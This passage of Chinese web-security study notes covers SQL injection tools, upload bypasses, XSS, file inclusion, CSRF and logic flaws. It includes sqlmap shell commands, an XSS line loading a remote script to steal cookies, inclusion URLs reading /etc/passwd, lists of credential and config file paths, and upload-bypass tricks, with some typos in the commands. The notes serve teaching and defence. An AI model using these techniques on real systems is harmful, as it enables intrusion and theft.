dbms_sql | dbmssql.sql | 執行動態SQL和PL/SQL |
dbms_system | dbmsutil.sql | 開/關給定會話的SQL追蹤 |
dbms_transaction | dbmsutil.sql | 管理SQL事務 |
dbms_utility | dbmsutil.sql | 多種實用工具:對於一個給定的模式,從新編譯存儲子程序和包、分析數據庫對象、格式化錯誤信息並調用堆棧用於顯示、顯示實例是否以並行服務器模式運行、以10ms間隔獲取當前時間、決定數據庫對象的全名、將一個PL/SQL錶轉換爲一個使用逗號分隔的字符串,獲取數據庫版本/獲取數據庫版本/操做系統字符串 |
utl_raw | utlraw.sql | RAW數據轉化爲字符串 |
utl_file | utlfile.sql | 讀/寫基於ASCII字符的操做系統文件 |
utl_http | utilhttp.sql | 從給定的URL獲得HTML格式的主頁 |
dbms_lob | dbmslob.sql | 管理巨型對象 |
SQLMap是一個開放源碼的滲透測試工具,它能夠自動檢測和利用SQL注入漏洞,基於python編寫。
特色:
數據庫支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Sybase和SAP MaxDB
SQL注入類型包括SQL盲注,UNION注入,顯錯式注入,時間盲注盲推理注入和堆查詢注入等技術
支持枚舉用戶,密碼哈希,權限,角色,數據庫,表和列
支持執行任意命令
自動識別密碼加密方式,而且能夠使用字典解密
支持數據導出功能
SQLMap參數 1.測試注入點權限 sqlmap.py -u [URL] -- privileges #測試全部用戶的權限 sqlmap.py -u [URL] -- privileges -U sa #測試sa用戶權限 2.執行shell命令 sqlmap.py -u [URL] --os0cmd="net user" #執行net user命令 sqlmap。py -u [URL] --os-shell #系統交互的shell 3.獲取當前數據庫名稱 sqlmap.py -u [URL] --current-db 4.執行SQL命令 sqlmap.py -u [URL] --sql-shell #返回SQL交互的shell,能夠執行sql語句 sqlmap.py -u [URL] --sql-query="sql" 5.POST提交方式 sqlmap.py -u [URL] --data "POST參數" 6.顯示詳細的等級 sqlmap.py -u [URL] --dbs -v 1 -v參數包含如下7個等級: 0:只顯示python的回溯、錯誤和關鍵消息 1:顯示信息和警告消息 2:顯示調試消息 3:有效載荷注入 4:顯示HTTP請求 5:顯示HTTP響應頭 6:顯示HTTP響應頁面的內容 7.注入HTTP請求 sqlmap.py -r head.text --dbs #head.txt內容爲HTTP請求 8.直接鏈接到數據庫 sqlmap.py -d "mysql://admin:admin&192.168.1.8:3306/tesrdb" --dbs 9.注入等級 sqlmap.py -u [URL] --level 3 10.將注入語句插入到指定位置 sqlmap.py -u "http://www.xxser.com/id/2*.html" --dbs #SQLMap沒法識別哪裏是對服務器提交的請求參數,因此SQLMap提供了」*「餐宿,將SQL語句插入到指定位置,這一用法經常使用於僞靜態注入 11.使用SQLMap插件 sqlmap.py -u [URL] -tamper "space2morehash.py"
Pangolin(穿山甲),它可以經過一系列很是簡單的操做,達到最大化的攻擊測試效果。它從檢測注入開始到最後控制目標系統都給出了測試步驟。
穿山甲的特色以下:
Havij是一款自動化的SQL注入工具,能自動挖掘可利用的SQL注入,還可以識別後臺數據庫類型,檢索數據的用戶名和密碼hash、存儲表和列、從數據庫中提取數據,甚至訪問底層文件系統和執行系統命令。
Havij的經常使用模塊
根據SQL注入的分類,防護主要分爲兩種:數據類型判斷和特殊字符轉義
防護數字型注入相對比較簡單,只要在程序中嚴格判斷數據類型便可。如:使用is_numeric()、ctype_digit()等函數判斷數據類型,便可解決數字型注入
將特殊字符轉義便可防護字符型SQL注入
在衆多的框架中,有一類框架專門與數據庫打交道,被稱爲持久層框架,比較有表明性的有Hibernate、MyBatis、JORM等
存儲過程是在大型數據庫系統中,一組爲了完成特定功能或常用的SQL語句集,經編譯後存儲在數據庫中。存儲過程具備較高的安全性,能夠有效防止SQL注入,但若編寫不當,依然有SQL注入的風險
Web應用程序一般會有文件上傳的功能,只要web應用程序容許上傳文件,就有可能存在文件上傳漏洞。
攻擊者在利用上傳漏洞時,一般會與web容器的解析漏洞配合在一塊兒。常見的web容器有IIS,Nginx,Apache,Tomcat等
IIS6.0在解析文件時存在如下兩個解析漏洞:
1.當創建*.asa,*.asp格式的文件夾時,其目錄下的任意文件都將被看成IIS看成asp文件夾解析 2.當文件爲*.asp;1.jpg時,IIS6.0一樣會以ASP腳原本執行
在Apache1.x和Apache2.x中存在解析漏洞,但它們與IIS解析漏洞不一樣
Apache在解析文件時有一個原則:當碰到不認識的拓展名時,將會從後向前解析,直到碰到認識的拓展名爲止,若是不認識,則會暴露其源代碼 Apache首先會解析aa拓展名,若是不認識,則會解析xs拓展名,這樣一直遍歷到認識的拓展名爲止,而後再將其進行解析
Nginx是一款高性能的web服務器,一般用來做爲php的解析容器
在php的配置文件中有一個關鍵的選項:cgi.fi:x_pathinfo。這些選項在某些版本中默認是開啓的,在開啓訪問URL,好比:http://www.xxser.com/x.txt/x.php, x.php是不存在的文件,因此php將會向前遞歸解析,因而形成了解析漏洞,能夠說此漏洞與Nginx關係並非很大,可是因爲Nginx與php配合很容易形成這種解析漏洞,因此php cgi漏洞經常被認爲是Nginx解析漏洞
程序員在開發web應用程序時,通常都會涉及文件上傳,好比:上傳文檔並提供下載,上傳圖片增長用戶體驗。文件上傳的基本流程相同,客戶端使用javascript驗證,服務器端採用隨機數來重命名文件,來防止文件重複。
程序員在防止上傳漏洞時能夠分爲如下兩種:
圖片一句話是將一句話木馬插入在圖片文件中,而且不損壞圖片文件。能夠使用Edjpgcom.exe程序製做圖片一句話木馬。 在插入一句話木馬後,以文本的方式打開圖片,就能夠看到木馬代碼
針對客戶端驗證有很是多的繞過方式
1.使用Firebug Firebug是一款開源的瀏覽器插件,它可讓web開發者輕鬆的調試HTML、Javascript、AJAX、CSS等前端腳本代碼。 當單擊‘提交’按鈕後,Form表單會觸發onsubmit事件,onsubmit時間會調用checkfile函數(檢測文件拓展名是否合法),使用Firebug將onsubmit事件刪除,這樣就能夠繞過Javascript函數驗證。 查看HTML源代碼,找到Form表單後,把onsubmit事件刪除,Javascript驗證將會失效 2.中間人攻擊 使用Burp Suite按照正常的流程經過Javascript驗證,而後在傳輸中的HTTP層作手腳。 首先把沒把文件拓展名改成正常圖片的拓展名,而後在上傳時使用Burp Suite攔截上傳數據,再將其中的拓展名改成PHP,就能夠繞過客戶端驗證。 注意修改完文件拓展名後,要對請求頭Content-Length和進行修改,不然會發生上傳失敗。
服務器端驗證主要包含如下幾點:白名單與黑名單拓展名過濾、文件類型檢測、文件重命名等操做
在上傳文件時,大多數程序員會對文件拓展名檢測,驗證文件拓展名一般有兩種方式:白名單與黑名單
1.黑名單過濾方式: 黑名單過濾是一種不安全的方式,黑名單定義了一系列不安全的拓展名,服務端在接收文件後,與黑名單拓展名對比,若是發現文件拓展名與黑名單裏的拓展名匹配,則認爲文件不合法。 繞過黑名單檢測的方式: (1)攻擊者能夠從黑名單中找到web開發人員忽略的拓展名,如:cer (2)在Upload.php中並無對接收到的文件拓展名進行大小寫轉換操做,那就意味着能夠上傳asp、php這樣的拓展名,而此類拓展名在windows平臺依然會被web容器解析 (3)在windows系統下,若是文件名以"."或者空格做爲結尾,系統會自動去除"."與空格,利用此特性也能夠繞過黑名單驗證。如:上傳"asp."或者"asp "拓展名程序、服務器端接收文件名後在寫文件操做時,windows將會自動去除小數點和空格 2.白名單過濾方式 白名單是定義容許上傳的拓展名,白名單擁有比黑名單更好的防護機制。白名單也不能徹底防護上傳漏洞,例如:web容器爲IIS6.0, 攻擊者把木馬文件名改成pentest.asp;1.jpg上傳,此時的文件爲JPG格式,從而能夠順利經過驗證,而IIS6.0卻會把pentest.asp;1.JPG看成ASP腳本程序來執行,最終攻擊者能夠繞過白名單的檢測,而且執行木馬程序
MIME類型用來設定某種拓展名文件的打開方式,當具備該拓展名的文件被訪問時,瀏覽器會自動使用指定的應用程序來打開。如GIF圖片MIME爲image/gif,CSS文件MIME類型爲text/css。
能夠經過使用Burp Suite將在HTTP請求中的Content-Type更改類型,經過程序驗證
在文件上傳時,程序一般容許用戶將文件放到指定的目錄中,然而有些web開發人員爲了讓代碼更「健壯」,一般會作一個操做,若是指定的目錄存在,就將文件寫入目錄中,不存在則先創建目錄,而後寫入。
在HTML代碼中有一個隱藏標籤<input type='hidden' name='extension' value='up'>
,這是文件上傳時默認的文件夾,而咱們對此參數是可控的,好比:使用Firebug將value值改成pentest.asp,並提交上傳一句話圖片木馬文件。
截斷上傳攻擊在ASP程序中最多見。使用Burp Suite攔截請求後,將文件上傳名稱更改成1.asp xxser.jpg
,而後單擊HEX選項卡進入十六進制編輯模式,將文件名中空格的十六進制數20改成00,即NULL,單擊‘GO’按鈕,能夠發現最終上傳的文件爲1.asp, 1.asp後面的字符都已經被截斷。截斷上傳漏洞不只出如今ASP程序上,在PHP、JSP程序中也存在這樣的問題。
常見的文本編輯器有CKEditor,Ewebeditor,UEditor,KindEditor,XHeditor等。這類編輯器的功能是很是相似的,好比都有圖片上傳,視頻上傳,遠程下載等功能,這類文本編輯器也成爲富文本編輯器。
以CKEditor編輯器爲例
1.敏感信息暴露 CKEditor目錄存在一些敏感文件,若是這些文件不刪除,那麼攻擊者能夠快速獲得一些敏感信息。 2.黑名單策略錯誤 黑名單過濾了一些常見的文件拓展名,可是疏忽了asa、cer等未知風險拓展名 3.任意文件上傳漏洞 除此以外還存在其餘的漏洞,例如,ASP.NET二次上傳,創建畸形文件夾等漏洞
在通過分析上傳漏洞以後,上傳漏洞的最終造成緣由主要有如下兩點:
1.接收文件及其文件臨時路徑 2.獲取拓展名與白名單作對比,若是沒有命令,程序推出 3.對文件進行重命名
XSS攻擊是在網頁中嵌入客戶端惡意腳本代碼,這些惡意代碼通常是使用javascript語言編寫的。
javascript能夠用來獲取用戶的Cookie、改變網頁內容、URL調轉,那麼存在XSS漏洞的網站,就能夠盜取用戶Cookie、黑掉頁面、導航到惡意網站,而攻擊者須要作的僅僅是向web頁面注入javascript代碼。
攻擊者能夠在<script>
與</script>
之間輸入javascript代碼,實現一些「特殊效果」。在真實的攻擊中,攻擊者不只僅彈出一個框,一般使用<script src='http://www.secbug.org/x.txt'></script>
方式來加載外部腳本,而在x.txt中就存放着攻擊者的惡意javascript代碼,這段代碼多是用盜取用戶的cookie,也多是監控鍵盤記錄等惡意行爲。
注:javascript加載外部的代碼文件能夠是任意拓展名(無拓展名也能夠),如:<script src='http://www.secbug.org/x.jpg'></script>
,即便文件爲圖片拓展名x.jpg,但只要其文件中包含,javascript代碼就會被執行。
XSS主要被分爲三類,分別是:反射型、存儲型、和DOM型。
反射型XSS也被稱爲非持久性XSS,是如今最容易出現的一種XSS漏洞。當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接收數據後處理,而後把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據後,最終形成XSS漏洞。這個過程就像一次反射,故稱爲反射型XSS。
存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本。
容許用戶存儲數據的web應用程序均可能會出現存儲型XSS漏洞,當攻擊者提交一段XSS代碼後,被服務器端接收並存儲,當攻擊者再次訪問某個頁面時,這段XSS代碼被程序讀出來響應給瀏覽器,形成XSS跨站攻擊,這就是存儲型XSS。
存儲型XSS與反射型XSS、DOM型XSS對比,具備更高的隱藏性,危害性也更大。它們之間最大的區別在於反射型XSS與DOM型執行都必須依靠用戶手動去觸發,而存儲型XSS卻不須要。
DOM的全稱爲Document Object Model,即文檔對象模型,DOM一般用於表明在HTML、XHTML和XML中的對象,使用DOM能夠容許程序和腳本動態地訪問和更新文檔的內容、結構和樣式。
DOM的規定以下:
基於DOM型的XSS是不須要與服務器端交互的,它只發生在客戶端處理數據階段。
檢測XSS通常分爲兩種方式,一種是手工檢測,一種是軟件自動檢測,各有利弊。
使用手工檢測web應用程序是否存在XSS漏洞時,最重要的是考慮哪裏有輸入、輸入的數據在什麼地方輸出。
使用手工檢測XSS時,必定要選擇有特殊意義的字符,這樣能夠快速測試是否存在XSS。好比,測試某輸入框是否存在XSS漏洞時,不要直接輸入XSS跨站語句測試,應一步一步地進行,這樣更有利於測試。
1.可得知輸出位置 輸入一些敏感字符,例如"<、>、"、()"等,在提交請求後查看HTML源代碼,看這些輸入的字符是否被轉義。 在輸出這些敏感字符時,頗有可能程序已經作了過濾,這樣在尋找這些字符時就不太容易,這時就能夠輸入"AAAAA<>'"&"字符串,而後在查找源代碼的時候直接查找AAAAA或許比較方便 2.沒法得知輸出位置 很是多的web應用程序源代碼是不對外公開的,這時在測試XSS時就有可能沒法得知輸入數據到底在何處顯示,好比,測試某留言本是否存在XSS,那麼在留言以後,可能須要通過管理員的審覈才能顯示,這時沒法得知輸入的數據在後臺管理頁面處於何種狀態。例如: 在<div>標籤中:<div>XSS Test</div> 在<input>標籤中:<input type='text' name='content' value='XSS Test'> 對於這種狀況,一般會採用輸入""/>XSS Test"來測試。
專業的XSS掃描工具備不少,XSSER,XSSF等,也有安全愛好者製做了掃描XSS漏洞的web服務,如:http://www.domxssscanner.com/ 專門用來掃描DOM類的XSS。
常見危害:
1.Cookie簡介 Cookie是可以讓網站服務器把少許文本數據存儲到客戶端的硬盤,內存,或是從客戶端的硬盤、內存讀取數據的一種技術。 Cookie按照在客戶端中存儲的位置,可分爲內存Cookie和硬盤Cookie。 Cookie也是有限制的。大多數瀏覽器支持最大爲4096B的Cookie,並且瀏覽器也限制站點能夠在用戶計算機上存儲Cookie的數量,大多數瀏覽器只容許每一個站點存儲20個Cookie。 2.Cookie格式 當Cookie被保存在電腦硬盤時,不一樣的瀏覽器保存Cookie的位置也不相同,如:IE的Cookie保存位置在「C:\Documents and Settings\用戶名\Cookies」文件夾中。每一個Cookie文件都是一個TXT文件,都以「用戶名@網站 URL」來命名。 Cookie由變量名(key)和值(value)組成,其屬性裏既有標準的cookie變量,也有用戶本身建立的變量,屬性中的變量用「變量=值」的形式來保存。 3.讀寫Cookie 像Javascript、Java、PHP、ASP.NET都擁有讀寫Cookie的能力。 4.Javascript操做Cookie 若是網站存在XSS跨站漏洞,那麼利用XSS漏洞就有可能盜取用戶的Cookie,使用用戶的身份標識。 5.SESSION SESSION在計算機中,尤爲是在網絡應用中,被稱爲「會話」。SESSION機制是一種服務器端的機制,服務器使用一種相似於散列表的結構來保存信息。 web中的SESSION是指用戶在瀏覽某個網站時,從進入網站到瀏覽器關閉所通過的這段時間,也就是一次客戶端與服務器端的「對話」,被稱爲SESSION,當瀏覽器關閉後,SESSION自動註銷。 當用戶第一次鏈接到服務器時,會自動分配一個SESSIONID,這個SESSIONID是惟一的且不會重複的「編號」。若是服務器關閉或者瀏覽器關閉,SESSION將自動註銷,當用戶再次鏈接時,將會從新分配。 SESSION與Cookie最大的區別在於,Cookie是將數據存儲在客戶端,而SESSION是保存在服務器端,僅僅是客戶端存儲一個ID。相對來講,SESSION比Cookie要安全。
隨着XSS漏洞的興起,一些XSS漏洞利用框架也隨之出現,其中比較優秀的有BeEF、XSS Proxy、Backframe,像國內的XSSER.ME(XSS Platfrom)也是比較優秀的XSS漏洞利用框架。
XSS框架是一組「JavaScript工具集合」,好比,鍵盤輸入記錄,盜取Cookie,表單擊劫持等。
XSS GetShell的意思就是利用XSS獲取webshell。
蠕蟲病毒就是具備傳染性的惡意軟件,XSS蠕蟲也具備傳染性,與系統病毒的惟一區別就是沒法對系統底層操做。由於XSS蠕蟲通常是基於javascript編寫,而javascript最大的用武之地就是web,但對於底層編程能力幾乎爲零。因此,通常來講,XSS蠕蟲是針對瀏覽器的攻擊,且網站規模越大,攻擊效果就越大。在大用戶量的狀況下,XSS蠕蟲徹底能夠在短期內達到對巨大數量的「計算機」感染。
XSS跨站漏洞最終造成的緣由是對輸入與輸出沒有嚴格過濾,在頁面執行javascript等客戶端腳本,這就意味着只要將敏感字符過濾,便可修補XSS跨站漏洞。
過濾方法:
1.輸入與輸出 將特殊字符轉義 PHP提供了htmlspecialchars(),這個函數能夠把一些預約義的字符轉換爲HTML實體。 預約義的字符以下: &:& ":" ':' <:< >:- > OWASPESAPI工具包是專門用來防護安全漏洞的API,如SQL注入,XSS,CSRF等知名漏洞。目前支持JavaEE,ASP,NET,PHP,Python等語言。 解決辦法: (1)在標籤內輸出 (2)在屬性內輸出 (3)在事件中輸出 (4)在CSS中輸出 (5)在script標籤中輸出 2.Httponly Httponly對防護XSS漏洞不起做用,主要目的是爲了解決XSS漏洞後續的Cookie劫持攻擊。 在身份標識字段使用Httponly能夠有效地阻擋XSS會話劫持攻擊,但卻不可以徹底阻擋XSS攻擊。由於XSS攻擊的手段太多:模擬用戶「正常操做」,盜取用戶信息,釣魚等,僅靠Httponly是不夠的,防護的關鍵仍是要經過過濾輸入和輸出的。
命令執行漏洞是指攻擊者能夠隨意執行系統命令,它不只存在於B/S架構中,也存在於C/S架構中。
在windows系統下,&&的做用是將兩條命令鏈接起來執行。在linux系統下一樣適用。另外&,||,|符號一樣也能夠做爲命令鏈接符使用。
命令執行漏洞是直接調用操做系統命令,因此叫作OS命令執行漏洞,而代碼執行漏洞則是靠執行腳本代碼調用操做系統命令。
1.PHP命令執行 PHP提供了部分函數來執行外部應用程序,例如:system(),shell_exec(), exec()和passthru() 2.Java命令執行 在Java SE中,存在Runtime類,在該類中提供了exec方法用以在單獨的進程中執行指定的字符串命令,像JSP,Servlet,Spring,Hibernate等技術通常執行外部程序都會調用此方法。
1.Struts2代碼執行漏洞 2.ThinkPHP命令執行漏洞
防範方法:
程序開發人員一般會把可重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程通常被稱爲包含。
程序開發人員一般會將被包含的文件設置爲變量,用來進行動態調用,但正是因爲這種靈活性,從而致使客戶端能夠調用一個惡意文件,形成文件包含漏洞。
大多數web語言均可以使用文件包含操做,其中PHP語言所提供的文件包含功能太強大,太靈活,因此包含漏洞常常出如今PHP語言中。
PHP包含 PHP中提供了四個文件包含的函數,分別是include(),include_once(),require(),require_once() require:找不到被包含的文件時會產生致命錯誤(E_COMPLE_ERROR),並中止錯誤 include:找不到被包含的文件時只會產生警告(E_WARNING),腳本將繼續執行 require_once:此語句和include()語句相似,惟一區別就是若是該文件中二點代碼已經被包含,則不會再次包含 require_once:此語句和require()語句相似,惟一區別是若是該文件中的代碼已經被包含,則不會再次包含 PHP文件包含利用 常見的攻擊方式: (1)讀取敏感文件 訪問URL:http://www.xxser.com/index.php/?page=/etc/passwd,若是目標主機文件存在,而且具備響應的權限,那麼就能夠讀出文件的內容,反之,就會獲得一個相似於:open_basedirrestriction in effect的警告。 常見的敏感信息路徑: ①windows系統: C:\boot.ini --查看系統版本 C:windows\system32\inetsrv\MetaBase.xml --IIS配置文件 C:\windows\repair\sam --存儲windows系統初次安裝的密碼 C:\Program Files\mysql\my.ini --Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD --mysql root C:\windows\php.ini --php配置文件 C:\windows\my.ini --Mysql配置文件 ... ②UNIX/Linux系統 /etc/passwd /usr/local/app/apache2/conf/http.conf --apache2默認配置文件 usr/local/app/apache2/conf/extra/httpd-vhosts.conf --虛擬網站設置 /usr/local/app/php5/lib/php.ini --php相關設置 /etc/httpd/conf/httpd.conf --apache相關配置 /etc/my.cnf --Mysql的配置文件 ... (2)遠程包含shell 若是目標主機allow_url_fopen選項是激活的,就能夠嘗試遠程包含一句話木馬 (3)本地包含配合文件上傳 (4)使用PHP封裝協議 PHP內置協議 file:// --訪問本地文件系統 http:// --訪問HTTP(s)網址 ftp:// --訪問FTP(s)URLs php:// --訪問輸入/輸出流(I/O streams) zlib:// --壓縮流 data:// --數據(RFC 2397) ssh2:// --Secure Shell2 expect:// --處理交互式的流 glob:// --查找匹配的文件路徑 ①使用封裝協議讀取PHP文件 使用PHP內置封裝協議能夠讀取PHP文件,例子以下: http://www.xxser.com/index.php? page=php://filter/read=conver.base64-encode/resourse=config.php ②寫入PHP文件 使用php://input能夠執行PHP語句,可是受限於allow_url_include選項,也就是說只有allow_url_include爲on時才能夠使用。 (5)包含Apache日誌文件 某個PHP文件存在本地包含漏洞致使沒法上傳文件時,還能夠找到Apache路徑,利用包含漏洞包含Apache日誌文件也能夠獲取webshell。Apache運行後通常默認生成兩個日誌文件,這兩個文件是access.log(訪問日誌)和error.log(錯誤日誌)。Apache的訪問日誌文件記錄了客戶端的每次請求及服務器響應的相關信息。 攻擊者利用存在包含漏洞的頁面去包含access.log,便可成功執行其中的php代碼,攻擊者在使用Apache日誌文件包含時,首先須要肯定Apache的日誌路徑,不然即便攻擊者將PHP木馬寫入日誌文件,也沒法包含。 Apache的路徑是重點,因此安裝Apache時,儘可能不要使用默認路徑 (6)截斷包含 (7)繞過WAF防火牆 文件包含有時還被用來製做後門,躲避web殺毒軟件的檢測。 JSP包含 JSP包含分兩種方式:靜態包含和動態包含 1.靜態包含: <%@include file="page.txt"%>爲JSP中的靜態包含語句,靜態包含語句先進行包含,再作處理操做。 JSP語法規定:include指令爲靜態包含,只容許包含一個已經存在於服務器中的文件,而不能使用變量來控制包含某個靜態文件,這就意味使用include指令將不存在文件包含漏洞 2.動態包含 <jsp:iclude page="page.txt"/>爲動態包含語句。動態包含語句在運行時,首先會處理被包含頁面,而後在包含,並且還能夠包含一個動態頁面(變量)
形成包含漏洞的根本緣由是:被包含的頁面能夠被攻擊者所控制,也就是說,攻擊者能夠爲所欲爲地去包含某個頁面。
方案:
CSRF是指跨站請求僞造,也經常被稱爲「One Click Attack」或者「Session Riding」,一般縮寫爲CSRF或是XSRF。CSRF與XSS攻擊方式徹底不一樣,但卻更加難以防範,更具危險性,有「甦醒的巨人」稱號。
1.CSRF攻擊場景(GET) CSRF攻擊是黑客節注受害者的Cookie騙取服務器的新人,可是黑客並不能獲取到Cookie,也看不到Cookie的內容,另外,因爲瀏覽器同源策略的限制,黑客沒法從返回的結果中獲得任何東西,CSRF所能作的就是給服務器發送請求。 2.CSRF攻擊場景(POST) 對CSRF來講,POST,GET請求是沒有任何區別的,只不過POST請求方式多了一些代碼 3.瀏覽器Cookie機制 Cookie的兩種表現形式:一種是本地Cookie,又稱爲持久性cookie,另外一種則是臨時Cookie,又稱爲Session Cookie。二者的區別在於持久性Cookie是服務器端腳本語言向客戶端發送Cookie時制定了失效,也就是Expire字段,並且會存儲於本地,當Expire所制定的時效過時後,Cookie將失效。而Session Cookie則沒有制定Expire時效,是存儲在瀏覽器內存中的,當瀏覽器關閉後,Session Cookie也隨之消失。 4.檢測CSRF漏洞 檢測CSRF攻擊主要分爲兩種,手工檢測和半自動檢測 (1)手工檢測 CSRF只能經過用戶的正規操做進行攻擊,實際上就是劫持用戶操做。因此在檢測前首先須要肯定web應用程序的全部功能,以及肯定哪些操做是敏感的,好比修改密碼,轉帳,發表留言等功能。 肯定了敏感性操做後,使用這項「功能」攔截HTTP請求,好比,刪除用戶操做URL爲:「http://www.xxser.com/delUser.action?id=1」,能夠猜測,此時的參數項ID應該是用戶的惟一標識信息,經過此ID能夠刪除指定的用戶。在肯定參數項的意義後,就能夠驗證該項功能是否存在CSRF漏洞。 CSRF漏洞也能夠理解爲:服務器到底有沒有執行POC的請求,若是已執行,則表明存在CSRF漏洞。 (2)半自動檢測 半自動檢測工具:CSRFTester 5.預防跨站請求僞造 (1)二次驗證 在調用某些功能時進行二次驗證。 (2)Token認證 Token即標誌、記號的意思,在IT領域也叫作令牌。相似於驗證碼,Token是一個不用輸入的驗證碼,當用戶登陸web應用程序後,首先服務器端會隨機產生一段字符串分配給此用戶,而且存儲在session中,當用戶進入某些頁面中,直接傳遞在用戶界面或Coookie中。當用戶進行提交表單操做時,這段token代碼也會隨之被提交。當服務器端接收到數據時,就會判斷這段「驗證碼」是否與session中存儲的字符串一致,若是一致則認爲是合法的請求,若是不一致,則有多是CSRF攻擊。 在使用Token防護CSRF時,詳細步驟以下: (1)每當用戶登錄後會隨機生成一段字符串,而且存儲在session中 (2)在敏感操做中加入隱藏標籤,value即爲session中保存的字符串 (3)提交請求後,服務器端取出session中的字符串與提交的Token對比,若是一致,則認爲是正常請求,不然多是CSRF攻擊 (4)更新Token值
邏輯漏洞只出如今業務流程中(模板功能),也就是說,網站的任何部分都有可能存在着邏輯漏洞。
黑客在挖掘邏輯漏洞時的操做步驟以下:
發現網站所提供的功能模塊。好比:修改密碼,找回密碼等功能
針對具體的功能肯定業務流程,詳細劃分具體步驟
攔截HTTP/HTTPS請求,分析其參數項的含義
修改參數值,嘗試觸發邏輯漏洞
返回第二步,對其它功能繼續測試
簡單地說,黑客挖掘邏輯漏洞有兩個重點,就是業務流程和HTTP/HTTPS請求篡改。
常見的邏輯漏洞: 1.繞過受權驗證 受權在網絡上的意思是指,對特定資源的讀寫權限。驗證標識你是否真的能夠對這些資源進行讀寫。 受權問題是指訪問了沒有受權的資源和信息,也叫作越權。越權又能夠發爲:水平越權和垂直越權。 (1)水平越權 水平越權就是相同級別(權限)的用戶或者同一角色的不一樣用戶之間,能夠越權訪問,修改或者刪除的非法操做,若是出現此類漏洞,那麼將可能會形成大批量數據泄露,嚴重的甚至會形成用戶信息被惡意篡改。 (2)垂直受權 垂直越權是不一樣級別之間或不一樣角色之間的越權。 垂直越權又被分爲向上越權與向下越權。 2.密碼找回邏輯漏洞 爲防止用戶遺忘密碼,大多數網站都提供了找回密碼功能。在找回密碼時,除了本身的用戶密碼,若是還能找回其餘用戶的密碼,就存在密碼找回漏洞。 測試密碼找回漏洞與其餘邏輯漏洞的方法相同,其中必經的兩個步驟是:熟悉業務流程(密碼找回過程)與對流程中的HTTP請求分析。 3.支付邏輯漏洞 在測試支付邏輯漏洞時,也有幾個側重點,就是由用戶提交的參數,如:購買數量、商品價格、折扣、運費、商品信息的中轉頁面、跳轉到支付接口等參數。 常見的邏輯支付漏洞場景: ①商品數量爲附屬 ②0元購買商品 ③指定帳戶惡意攻擊
代碼注入,OWASP將其定義爲在客戶端提交的代碼在服務器端接收後看成動態代碼或嵌入文件處理。
XML是可擴展標識語言的簡寫。XML的設計宗旨是傳輸數據。XML是各類應用程序之間數據傳輸中最經常使用的工具。 XML注入是經過改寫XML實現的,此漏洞利用成功的關鍵點就是閉合XML標籤。 XML注入時的兩大要素爲:標籤閉合和獲取XML表結構。 XML修復是比較簡單的事情,只要將預約義字符進行轉移便可. 預約義字符: < -- < > -- > & -- & ' -- &apos " -- "
XPath即爲XML路徑語言,XPath基於XML的樹狀結構,提供在數據結構樹中尋找節點的能力,簡單地說,XPath就是選取XML節點的一門語言。 XPath使用路徑表達式在XML文檔中選取節點。 XPath基礎語法: / -- 從根節點選取 // -- 從匹配選擇的當前節點選擇文檔中的節點 . -- 選取當前節點 .. -- 選取當前節點的父節點 @ -- 選取屬性 * -- 通配符。選擇全部的元素,與元素名無關 @* -- 屬性通配符,選擇全部的屬性,與名稱無關 : -- 屬性通配符,選擇全部的屬性,與名稱無關 () -- 爲運算分組,明確設置優先級 [] -- 應用篩選模式 or -- 與 and -- 而且 對於一些敏感信息,不要使用XML傳輸,若是須要儘可能使用密文傳輸 防護XPath注入最重要的是對預約義字符的轉換
JSON是一種輕量級的數據交換格式。它基於javascript的一個子集。 JSON是根據引號(""),冒號(:),逗號(,)和花括號({})區分各字符的意義的。若是有惡意用戶向JSON中注入惡意字符,那麼JSON將解析失敗。 防護JSON注入只須要對其關鍵字符進行轉義便可。
HTTP Parameter Pollution即HTTP參數午然,簡稱HPP。他就是web容器處理HTTP參數的問題。 HTTP參數午然的做用是繞過一些web應用防火牆,簡單地說,WAF在腳本還未接收到請求以前就開始對數據進行校驗,若是未發現惡意代碼,則交給腳本去處理,若是發現惡意代碼,就進行攔截,再也不交給腳本去處理。
URL跳轉通常分爲兩種,一種爲客戶端跳轉,一種爲服務器端跳轉。 1.客戶端跳轉 客戶端跳轉也被稱爲URL重定向,用戶瀏覽器的地址欄URL會有明顯的變化。 2.服務器端跳轉 服務器端跳轉也稱爲URL轉發,服務器端跳轉時,用戶瀏覽的地址欄URL是不會發生變化的,可是頁面會發生變化。
網絡中的釣魚是指釣魚式攻擊,好比,攻擊者模擬騰訊網站,或者一些CS架構軟件,當用戶使用這些軟件時,攻擊者能夠截獲用戶的帳戶信息。 攻擊者的釣魚網站如何突破各廠商的防禦措施和檢測呢?使用URL跳轉就是其方法之一。
支持遠程部署的web服務器不少,例如:FTP,能夠直接將源碼上傳至服務器,而後安裝,但若是遠程部署配置不當,攻擊者就能夠經過遠程部署功能入侵服務器。
經過遠程部署獲取webshell並不屬於代碼層次的漏洞,而是屬於配置性錯誤漏洞。
Tomcat時Apache軟件基金會jakarta項目中的一個核心項目。若是你的web appliaction存在遠程部署功能,就必須設定高強度密碼,若是不使用遠程部署功能,就儘可能刪除它或者關閉它,以防被攻擊者惡意利用。
JBoss是一個基於JavaEE的開放源代碼的應用服務器,是一個管理EJB的容器和服務器,支持EJB1.1,EJB2.0和EJB3.0的規範。但JBoss核心服務不包括支持Servlet/JSP的web容器,通常與Tomcat或Jetty綁定使用,能夠說,Tomcat爲JBoss的一個子集。
JBoss服務器默認沒有密碼認證策略,因此攻擊者經常經過Google Hack來批量獲取webshell。
爲了不出現這種低級的漏洞,服務器管理員必需要將JBoss的jmx-console密碼認證開啓或者刪除jmx-console。
WebLogic是美國BEA公司出品的一個Application Server,確切的說,是一個基於Java EE架構的中間件,BEA WebLogic是用於開發,集成,部署和管理大型分佈式web應用,網絡應用和數據庫應用的Java應用服務器。
0day攻擊:通常指沒有公開,沒有補丁的漏洞也就是未公開的漏洞。
常見的漏洞信息庫:
http://www.exploit-db.com/
http://www.1337day.com/
http://sebug.net/
挖掘0day的方式通常有兩種:源代碼審計(白盒測試)和模糊滲透測試(黑盒測試)。
源代碼審計工做,代碼審計人員必須瞭解網站的總體架構,熟讀代碼,而且對一些危險函數要徹底瞭解。
